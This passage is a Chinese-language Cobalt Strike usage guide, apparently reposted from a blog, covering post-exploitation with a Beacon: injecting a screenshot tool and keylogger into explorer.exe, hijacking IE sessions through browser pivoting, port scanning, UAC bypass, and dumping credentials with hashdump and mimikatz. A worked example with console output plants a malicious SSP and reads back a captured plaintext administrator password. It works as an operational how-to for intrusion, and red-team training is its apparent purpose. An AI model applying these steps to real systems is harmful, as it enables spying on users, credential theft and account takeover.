- jobs:查看當(dāng)前 Beacon 中的任務(wù)
- jobkill:加上任務(wù) ID,對指定任務(wù)進行停止
屏幕截圖
- screenshot:獲取屏幕截圖,使用screenshot pid來將截屏工具注入到一個 x86 的進程中,使用screenshot pid x64注入到一個 x64 進程中,explorer.exe 是一個好的候選程序。
- 使用screenshot [pid] [x86|x64] [time]來請求截屏工具運行指定的秒數(shù),并在每一次 Beacon 連接到團隊服務(wù)器的時候報告一張屏幕截圖,這是查看用戶桌面的一種簡便方法。要查看截屏的具體信息,通過View --> Screenshots來瀏覽從所有 Beacon 會話中獲取的截屏。
鍵盤記錄
- keylogger:鍵盤記錄器,使用keylogger pid來注入一個 x86 程序。使用keylogger pid x64來注入一個 x64 程序,explorer.exe 是一個好的候選程序。
使用單獨的 keylogger 命令來將鍵盤記錄器注入一個臨時程序。鍵盤記錄器會監(jiān)視從被注入的程序中的鍵盤記錄并將結(jié)果報告給 Beacon,直到程序終止或者自己殺死了這個鍵盤記錄后滲透任務(wù)。要查看鍵盤記錄的結(jié)果,可以到View --> Keystrokes中進行查看。
其他
除了上述使用命令的方式進行屏幕截圖和鍵盤記錄,也可以來到Explore --> Process List下選擇要注入的進程,再直接點擊屏幕截圖或鍵盤記錄的功能按鈕。
從使用上,具體注入那個程序都是可以的,只是注入 explorer.exe 會比較穩(wěn)定與持久。值得注意的是,多個鍵盤記錄器可能相互沖突,每個桌面會話只應(yīng)使用一個鍵盤記錄器。
5、瀏覽器轉(zhuǎn)發(fā)
瀏覽器轉(zhuǎn)發(fā)是指在已經(jīng)攻擊成功的目標(biāo)中,利用目標(biāo)的信息登錄網(wǎng)站進行會話劫持,但是目前只支持目標(biāo)正在使用IE瀏覽器的前提下。關(guān)于如何判斷當(dāng)前用戶是否使用IE瀏覽器,則可以通過屏幕截圖來判斷。如下圖中,通過屏幕截圖可以看到目標(biāo)正在使用IE瀏覽器登陸著當(dāng)前網(wǎng)站的admin賬戶。
找到目前正在使用IE瀏覽器的目標(biāo)后,右擊該會話,選擇Explore --> Browser Pivot,隨后選擇要注入的進程,CS 會在它認為可以注入的進程右邊顯示一個對勾,設(shè)置好端口后,點擊運行即可。
此時,在瀏覽器中配置代理,代理配置為http代理,IP為CS團隊服務(wù)器IP,端口為剛設(shè)置的端口。
代理配置好后,在瀏覽器中打開目標(biāo)當(dāng)前正在打開的網(wǎng)址,即可繞過登錄界面。
6、端口掃描
portscan:進行端口掃描,使用參數(shù)為:portscan [targets] [ports] [discovery method]。
目標(biāo)發(fā)現(xiàn)discovery method有三種方法,分別是:arp、icmp、none,arp方法使用 ARP 請求來發(fā)現(xiàn)一個主機是否存活。icmp方法發(fā)送一個 ICMP echo 請求來檢查一個目標(biāo)是否存活。none選項讓端口掃描工具假設(shè)所有的主機都是存活的。
端口掃描會在 Beacon 和團隊服務(wù)器通訊的這個過程中不停運行。當(dāng)它有可以報告的結(jié)果,它會把結(jié)果發(fā)送到 Beacon 控制臺。Cobalt Strike 會處理這個信息并使用發(fā)現(xiàn)的主機更新目標(biāo)模型。
右擊 Beacon會話,在Explore --> Port Scan中即可打開端口掃描的圖形窗口,CS會自動填充掃描地址,確認掃描地址、端口、掃描方式等無誤后,開始掃描即可。掃描結(jié)束后,在 target table頁面中可看到掃描結(jié)果,右擊會話,選擇 Services 可查看詳細的掃描結(jié)果。
0x04 提權(quán)
1、用戶賬戶控制
自 Windows vista 開始,Windows 系統(tǒng)引進了用戶賬戶控制機制,即 UAC—User Account Control機制,UAC 機制在 Win 7中得到了完善。UAC 與 UNIX 中的 sudo 工作機制十分相似,平時用戶以普通權(quán)限工作,當(dāng)用戶需要執(zhí)行特權(quán)操作時,系統(tǒng)會詢問他們是否要提升權(quán)限。
此時系統(tǒng)用戶可分為以下三種等級:
高:管理員權(quán)限
中:一般用戶權(quán)限
低:受限制的權(quán)限
2、提權(quán)操作
bypassuac:將本地中級管理員權(quán)限提升至本地高級管理員權(quán)限,適用于Win 7 及以上的系統(tǒng)。
Bypass UAC 有兩個步驟,分別是:
1、利用 UAC 漏洞來獲取一個特權(quán)文件副本
2、使用 DLL 劫持進行代碼執(zhí)行
首先使用shell whoami /groups查看當(dāng)前上線主機用戶的所屬組及 UAC 等級
通過返回信息可以看出,當(dāng)前用戶為管理員權(quán)限,UAC 等級為中,根據(jù)上一節(jié)中關(guān)于的介紹,此時可以使用bypassuac進行提權(quán)。
首先,右擊會話,選擇Access --> Elevate,這里選擇一個 SMB Beacon,Exploit 選擇uac-token-duplication,最后 Launch 即可。
待 Beacon Check in 后,當(dāng)前用戶 UAC 為高權(quán)限的會話便會上線了。
elevate:將任意用戶的權(quán)限提升至系統(tǒng)權(quán)限,適用于2018年11月更新之前的 Win 7 和 Win 10 系統(tǒng)。
getsystem:將本地高級管理員權(quán)限提升至系統(tǒng)權(quán)限。
runas:使用其他用戶的憑證來以其他用戶身份運行一個命令,該命令不會返回任何輸出。
spawnas:使用其他用戶的憑證來以其他用戶身份派生一個會話,這個命令派生一個臨時的進程并將 payload stage 注入進那個進程。
首先,右擊待提權(quán)的會話,選擇Access --> Spawn As,輸入目標(biāo)系統(tǒng)用戶身份信息,其中域信息填寫一個“點”代表本地用戶,監(jiān)聽器這里選擇的 SMB 監(jiān)聽器,之后點擊運行就能看到對應(yīng)的用戶上線了。
PowerUp
可參考https://blog.csdn.net/l1028386804/article/details/86089574
3、 憑證和哈希獲取
想要獲取憑證信息,可以在管理員權(quán)限的會話處右擊選擇Access --> Dump Hashes,或者在控制臺中使用hashdump命令。
想獲取當(dāng)前用戶的密碼,可以運行mimikatz,右擊管理員權(quán)限會話選擇Access --> Run Mimikatz,或在控制臺運行l(wèi)ogonpasswords命令。
在View --> Credentials下可以查看到hashdump與mimikatz獲取的數(shù)據(jù)。
Beacon 中的 Mimikatz
在 Beacon 中集成了 mimikatz ,mimikatz 執(zhí)行命令有三種形式:
mimikatz [module::command]
運行 mimikatz 命令
mimikatz [!module::command]
強制提升到 SYSTEM 權(quán)限再運行命令,因為一些命令只有在 SYSTEM 身份下才能被運行。
mimikatz [@module::command]
使用當(dāng)前 Beacon 的訪問令牌運行 mimikatz 命令
下面是一些mimikatz命令。
- !lsadump::cache
獲取緩存憑證,默認情況下 Windows 會緩存最近10個密碼哈希 - !lsadump::sam
獲取本地賬戶密碼哈希,該命令與 hashdump 比較類似 - misc::cmd
如果注冊表中禁用了 CMD ,就重新啟用它 - !misc::memssp
注入惡意的 Windows SSP 來記錄本地身份驗證憑據(jù),這個憑證存儲在“C:\windows\system32\mimilsa.log”中 - misc::skeleton
該命令僅限域內(nèi)使用。該命令會給所有域內(nèi)用戶添加一個相同的密碼,域內(nèi)所有的用戶都可以使用這個密碼進行認證,同時原始密碼也可以使用,其原理是對 lsass.exe 進行注入,重啟后會失效。 - process::suspend [pid]
掛起某個進程,但是不結(jié)束它 - process::resume [pid]
恢復(fù)掛起的進程
以上的這些只是mimikatz能做事情的一小部分,下面看看!misc::memssp的使用。
首先運行mimikatz !misc::memssp
beacon> mimikatz !misc::memssp
[*] Tasked beacon to run mimikatz’s !misc::memssp command
[+] host called home, sent: 1006151 bytes
[+] received output:
Injected =)
接下來來到C:\Windows\system32目錄
beacon> cd C:\Windows\system32
[*] cd C:\Windows\system32
[+] host called home, sent: 27 bytes
beacon> shell dir mimilsa.log
[*] Tasked beacon to run: dir mimilsa.log
[+] host called home, sent: 46 bytes
[+] received output:
驅(qū)動器 C 中的卷沒有標(biāo)簽
卷的序列號是 BE29-9C84
C:\Windows\system32 的目錄
2020/07/23 21:47 24 mimilsa.log
1 個文件 24 字節(jié)
0 個目錄 17,394,728,960 可用字節(jié)
可以看到是存在mimilsa.log文件的,此時待目標(biāo)主機重新登錄,比如電腦鎖屏后用戶進行登錄。
查看mimilsa.log文件內(nèi)容
beacon> shell type mimilsa.log
[*] Tasked beacon to run: type mimilsa.log
[+] host called home, sent: 47 bytes
[+] received output:
[00000000:000003e5] \
[00000000:002b99a7] WIN-75F8PRJM4TP\Administrator Password123!
0x005 橫向
通過前面的幾步操作,順利的話。基本上已經(jīng)掌握了一臺或多臺計算機,并擁有一定的權(quán)限。接下來是擴大戰(zhàn)果的時候,這個時候,開始需要我們對自己所在的網(wǎng)絡(luò)有一個大致的了解,避免自己“迷路”。
以下為windows環(huán)境下的一般操作思路、工具的參考記錄。
以下命令是在主機中運行的結(jié)果,在 Cobalt Strike 中運行只需要根據(jù)命令類型在命令前加上 shell 或者 powershell。
1、名詞解釋
- 活動目錄
活動目錄Active Directory是一種能夠集中管理用戶、系統(tǒng)和策略的技術(shù),活動目錄的一個重要概念就是域。
Active Directory 存儲有關(guān)網(wǎng)絡(luò)上對象的信息,并讓管理員和用戶可以更容易地使用這些信息。例如 Active Directory 域服務(wù)即 AD DS 存儲著有關(guān)用戶賬戶的信息,并且使同一網(wǎng)絡(luò)下的其他授權(quán)用戶可以訪問此信息。 - 域
域Domain即是一個管理員或者說是網(wǎng)絡(luò)邊界,在域里的用戶和系統(tǒng)都是通過 AD進行管理的。
在域里,如果想控制服務(wù)器進行操作就需要取得域的信任。 - 域控制器
域控制器Domain Controller顧名思義就是一個對域里的用戶和系統(tǒng)進行身份驗證的一個系統(tǒng)。 - 本地用戶
本地用戶Local User就是系統(tǒng)上的一個標(biāo)準用戶。
當(dāng)我們想在 Windows 命令行下指定一個本地的用戶時,可以通過輸入 .\本地用戶名或者 計算機名\本地用戶名來指定本地的用戶賬戶,其中.表示計算機名。 - 域用戶
域用戶Domain User是指域控制器下的用戶,如果想指定域用戶,可以輸入域名\域用戶名 - 本地管理員
本地管理員Local Administrator即是指在本地系統(tǒng)有管理權(quán)限的用戶。 - 域管理員
域管理員Domain Administrator是指在域控制器上有管理權(quán)限的用戶。
2、主機和用戶枚舉
主機枚舉
當(dāng)進入目標(biāo)局域網(wǎng)時,需要弄清楚幾個問題。
1、我正處在那個域上?
2、域信任關(guān)系是什么樣的?
3、可以登陸哪些域?這些域上有哪些系統(tǒng)?目標(biāo)是什么?可以獲取什么?
4、系統(tǒng)上存放共享數(shù)據(jù)的地方在哪里?
總結(jié)
以上是生活随笔為你收集整理的Cobalt Strike 使用指南(资源整合笔记)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 如何追踪大户操作,暴躁兔链上数据复盘St
- 下一篇: 计算机网络怎么运行内存,运行内存,教您如